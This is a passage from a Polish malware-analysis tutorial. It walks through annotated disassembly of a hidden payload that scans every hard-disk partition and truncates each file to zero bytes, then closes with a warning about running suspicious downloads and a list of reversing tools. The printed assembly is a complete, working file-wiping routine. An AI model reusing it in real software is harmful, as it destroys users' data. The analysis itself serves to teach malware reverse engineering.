	call	loc_54
	aCreatefilea	db 'CreateFileA',0
loc_54:						; CODE XREF: seg000:00000043p
	push	[ebx+interfejs.hKernel32]
	call	[ebx+interfejs.GetProcAddress]	; adresy procedur WinApi
	mov	[ebx+interfejs.CreateFileA], eax

	call	loc_6E
	aSetendoffile   db 'SetEndOfFile',0
loc_6E:						; CODE XREF: seg000:0000005Cp
	push	[ebx+interfejs.hKernel32]
	call	[ebx+interfejs.GetProcAddress]	; adresy procedur WinApi
	mov	[ebx+interfejs.SetEndOfFile], eax
	...

	call	loc_161
	aSetfileattribu db 'SetFileAttributesA',0
loc_161:					; CODE XREF: seg000:00000149 p

	push	[ebx+interfejs.hKernel32]
	call	[ebx+interfejs.GetProcAddress]	; adresy procedur WinApi

	mov	[ebx+interfejs.SetFileAttributesA], eax
	lea	edi, [ebx+interfejs.stFindData]	; WIN32_FIND_DATA
	call	skanuj_dyski			; skanowanie stacji dysków

	sub	eax, eax
	inc	eax
	pop	ebx
	pop	edi
	pop	esi
	leave
	retn	4				; tutaj kończy się działanie wątku

Gdy już pobrane zostaną wszystkie adresy procedur, zostaje uruchomiona procedura sprawdzająca kolejne stacje dysków. Skanowanie rozpoczyna się od stacji oznaczonej literą „Y:\” schodząc w dół do „C:\”:

skanuj_dyski	proc near			; CODE XREF: seg000:0000016Cp

var_28	= byte ptr -28h

	pusha
	push	'\:Y'				; skanowanie dysków zaczyna się od dysku Y:\

nastepny_dysk:					; CODE XREF: skanuj_dyski+20j

	push	esp				; adres nazwy dysku na stosie (Y:\, X:\, W:\ itd.)
	call	[ebx+interfejs.GetDriveTypeA]	; GetDriveTypeA

	sub	eax, 3
	cmp	eax, 1
	ja	short cdrom_itp			; kolejna litera dysku twardego
	mov	edx, esp
	call	wymaz_pliki

cdrom_itp:					; CODE XREF: skanuj_dyski+10j

	dec	byte ptr [esp+0]		; kolejna litera dysku twardego
	cmp	byte ptr [esp+0], 'C'		; sprawdź, czy doszło do dysku C:\
	jnb	short nastepny_dysk		; powtarzaj skanowanie kolejnego dysku

	pop	ecx
	popa

	retn
skanuj_dyski	endp
Schemat procedury skanowania dysków.
Schemat procedury skanowania dysków.

Do określenia typu stacji wykorzystywana jest funkcja GetDriveTypeA(), która po podaniu litery partycji, zwraca jej typ. Powyższy kod poszukuje jedynie standardowych partycji dysków twardych, pomijając takie urządzenia jak stacje CD-ROM i dyski sieciowe. Gdy wykryta zostanie poprawna partycja, zostaje uruchomiony rekursywny skaner wszystkich jej katalogów (procedura „wymaz_pliki”):

wymaz_pliki	proc near			; CODE XREF: skanuj_dyski+14p
						; wymaz_pliki+28p
		pusha
		push	edx
		call	[ebx+interfejs.SetCurrentDirectoryA]
		push	'*'			; maska szukanych plików
		mov	eax, esp
		push	edi
		push	eax
		call	[ebx+interfejs.FindFirstFileA]
		pop	ecx
		mov	esi, eax
		inc	eax
		jz	short nie_ma_wiecej_plikow

znaleziono_plik:				; CODE XREF: wymaz_pliki+39j
		test	byte ptr [edi], 16	; czy to katalog?
		jnz	short znaleziono_katalog

		call	zeruj_rozmiar_pliku

		jmp	short szukaj_nastepnego_pliku

znaleziono_katalog:				; CODE XREF: wymaz_pliki+17j

		lea	edx, [edi+2Ch]
		cmp	byte ptr [edx], '.'
		jz	short szukaj_nastepnego_pliku

		call	wymaz_pliki		; rekursywne skanowanie katalogów

szukaj_nastepnego_pliku:			; CODE XREF: wymaz_pliki+1Ej
						; wymaz_pliki+26j
		push	5
		call	[ebx+interfejs.Sleep]

		push	edi
		push	esi
		call	[ebx+interfejs.FindNextFileA]
		test	eax, eax
		jnz	short znaleziono_plik	; czy to katalog?

nie_ma_wiecej_plikow:				; CODE XREF: seg000:0000003Aj
						; wymaz_pliki+12j
		push	esi
		call	[ebx+interfejs.FindClose]

		push	'..'			; cd ..
		push	esp
		call	[ebx+interfejs.SetCurrentDirectoryA]
		pop	ecx
		popa
		retn
wymaz_pliki	endp

Skaner wykorzystując funkcje FindFirstFile(), FindNextFile() i SetCurrentDirectory(), skanuje całą zawartość partycji w poszukiwaniu wszystkich rodzajów plików, o czym mówi nam zastosowana maska „*” dla procedury FindFirstFile(). Jeśli zostanie znaleziony plik (o dowolnej nazwie i dowolnym rozszerzeniu), wywoływana jest procedura zeruj_rozmiar_pliku, która stanowi o destrukcyjności analizowanego programu:

zeruj_rozmiar_pliku proc near		; CODE XREF: wymaz_pliki+19p
		pusha
		mov	eax, [edi+20h]  ; rozmiar pliku
		test	eax, eax	; jeśli ma 0 bajtów, omiń go
		jz	short pomin_plik

		lea	eax, [edi+2Ch]  ; nazwa pliku
		push	20h ; ' '	; nowe atrybuty dla pliku
		push	eax		; nazwa pliku
		call	[ebx+interfejs.SetFileAttributesA] ; ustaw atrybuty pliku

		lea	eax, [edi+2Ch]
		sub	edx, edx
		push	edx
		push	80h ; 'Ç'
		push	3
		push	edx
		push	edx
		push	40000000h
		push	eax
		call	[ebx+interfejs.CreateFileA]
		inc	eax		; czy otwarcie pliku się powidło?
		jz	short pomin_plik ; jeśli nie, nie zeruj pliku
		dec	eax
		xchg	eax, esi	; uchwyt pliku wgraj do rejestru ESI

		push	0		; ustaw wskaźnik pliku od jego początku (FILE_BEGIN)
		push	0
		push	0		; adres na jaki ustawić wskaźnik pliku
		push	esi		; uchwyt pliku
		call	[ebx+interfejs.SetFilePointer]

		push	esi		; ustaw koniec pliku na bieżący wskaźnik (początek pliku),
					; co sprawi, że plik zostanie skrócony do 0 bajtów
		call	[ebx+interfejs.SetEndOfFile]

		push	esi		; zamknij plik
		call	[ebx+interfejs.CloseHandle]

pomin_plik:				; CODE XREF: zeruj_rozmiar_pliku+6j
					; zeruj_rozmiar_pliku+2Aj
		popa
		retn
zeruj_rozmiar_pliku endp

Kolejnemu znalezionemu plikowi zostaje ustawiony atrybut „archiwalny”, wykorzystana jest do tego funkcja SetFileAttributesA(), dzięki temu zostają usunięte inne atrybuty, w tym „tylko do odczytu” (jeśli takie były ustawione), chroniące plik przed zapisem.

Następnie plik jest otwierany funkcją CreateFileA() i jeśli otwarcie pliku się powiodło, wskaźnik pliku zostaje ustawiony na jego początek. Do tego celu użyta została funkcja SetFilePointer(), której pierwszy parametr FILE_BEGIN określa sposób, w jaki chcemy ustawić wskaźnik (zaczynając od jego początku, używając innych parametrów np. FILE_CURRENT można ustawiać wskaźnik pliku od miejsca, w którym obecnie się znajdujemy, np. w wyniku wcześniejszego odczytywania pliku).

Po ustawieniu wskaźnika na początek pliku, wywoływana jest funkcja SetEndOfFile(), której zadaniem jest ustalenie nowego rozmiaru pliku, wykorzystując do tego bieżącą pozycję wskaźnika w pliku. W tym przypadku wskaźnik pliku ustawiony został wcześniej na sam początek i tym samym plik po tej operacji ma zero bajtów. Po ten operacji „ukrócania” pliku, kod wraca do rekursywnego skanowania kolejnych katalogów w poszukiwaniu innych plików.

Wnioski

Analiza powyższego przykładu pozwoliła nam bez uruchamiania pliku wykonywalnego, określić jego ogólną budowę, język w którym został napisany, strukturę zasobów, oraz dogłębnie zrozumieć zasadę jego działania, wyszukać ukryty kod i określić jego zachowanie. Uzyskane wyniki pozwalają nam stwierdzić, że efekty działania tego małego pliku nie należą do przyjemnych, ze wszystkich dostępnych partycji dysków twardych, kolejno znalezione pliki maja ustawiane rozmiary na zero bajtów, w przypadku jakichś cennych danych, strata może być naprawdę bolesna. Nawet pomimo używania najnowszych programów antywirusowych, warto czasami zastanowić się nad uruchamianiem podejrzanych plików ściągniętych z Internetu, wprawdzie nie każdy niesie ze sobą zniszczenie, ale jak pokazuje powyższy przykład, czasami trafi się ktoś, kto świadomie będzie chciał wykorzystać naszą naiwność i właśnie przez tą naiwność, możemy słono zapłacić.

Użyte narzędzia (i nie tylko)

Deasembler IDA Demo for PEwww.hex-rays.com
Hexedytor Hiewwww.hiew.ru
Identyfikator plików PEiDwww.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml
Identyfikator FileInfolakoma.tu-cottbus.de/~herinmi/REDRAGON.HTM
Edytor zasobów ExeScopewww.softpedia.com/get/Programming/File-Editors/eXeScope.shtml
Darmowy debugger OllyDbgwww.ollydbg.de
Wiele przydatnych narzędzi do analizy plików binarnychprotools.cjb.net/
Steganografia w internecietinyurl.com/4erxv